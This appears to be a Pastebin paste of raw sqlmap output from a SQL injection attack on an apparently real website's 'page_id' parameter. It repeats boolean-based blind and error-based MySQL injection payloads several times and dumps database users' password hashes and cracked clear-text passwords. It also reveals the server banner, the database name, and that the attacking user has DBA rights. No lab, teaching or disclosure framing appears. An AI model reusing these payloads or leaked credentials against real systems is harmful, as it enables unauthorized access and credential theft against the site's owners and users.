  895. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  896. ---
  897.  
  898. database management system users password hashes:
  899. [*] karen [2]:
  900. password hash: 1c00fc2b05570f2f
  901. password hash: 248036c235f60aa8
  902. [*] nujeplies [1]:
  903. password hash: NULL
  904. [*] root [5]:
  905. password hash: 248036c235f60aa8
  906. password hash: 248036c235f60aa8
  907. password hash: 4fc67fc309a271b8
  908. clear-text password: karen
  909. clear-text password: karen
  910. password hash: 4fc67fc309a271b8
  911. clear-text password: karen
  912. clear-text password: karen
  913. password hash: NULL
  914. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  915. ---
  916. Place: GET
  917. Parameter: page_id
  918. Type: boolean-based blind
  919. Title: AND boolean-based blind - WHERE or HAVING clause
  920. Payload: page_id=28167956 AND 1228=1228
  921.  
  922. Type: error-based
  923. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  924. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  925. ---
  926.  
  927. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  928. ---
  929. Place: GET
  930. Parameter: page_id
  931. Type: boolean-based blind
  932. Title: AND boolean-based blind - WHERE or HAVING clause
  933. Payload: page_id=28167956 AND 1228=1228
  934.  
  935. Type: error-based
  936. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  937. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  938. ---
  939.  
  940. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  941. ---
  942. Place: GET
  943. Parameter: page_id
  944. Type: boolean-based blind
  945. Title: AND boolean-based blind - WHERE or HAVING clause
  946. Payload: page_id=28167956 AND 1228=1228
  947.  
  948. Type: error-based
  949. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  950. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  951. ---
  952.  
  953. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  954. ---
  955. Place: GET
  956. Parameter: page_id
  957. Type: boolean-based blind
  958. Title: AND boolean-based blind - WHERE or HAVING clause
  959. Payload: page_id=28167956 AND 1228=1228
  960.  
  961. Type: error-based
  962. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  963. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  964. ---
  965.  
  966. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  967. ---
  968. Place: GET
  969. Parameter: page_id
  970. Type: boolean-based blind
  971. Title: AND boolean-based blind - WHERE or HAVING clause
  972. Payload: page_id=28167956 AND 1228=1228
  973.  
  974. Type: error-based
  975. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  976. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  977. ---
  978.  
  979. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  980. ---
  981. Place: GET
  982. Parameter: page_id
  983. Type: boolean-based blind
  984. Title: AND boolean-based blind - WHERE or HAVING clause
  985. Payload: page_id=28167956 AND 1228=1228
  986.  
  987. Type: error-based
  988. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  989. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  990. ---
  991.  
  992. banner: '5.0.45-log'
  993.  
  994. current user: '[email protected]'
  995.  
  996. current database: 'orcataco_bumperstic'
  997.  
  998. current user is DBA: 'True'
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!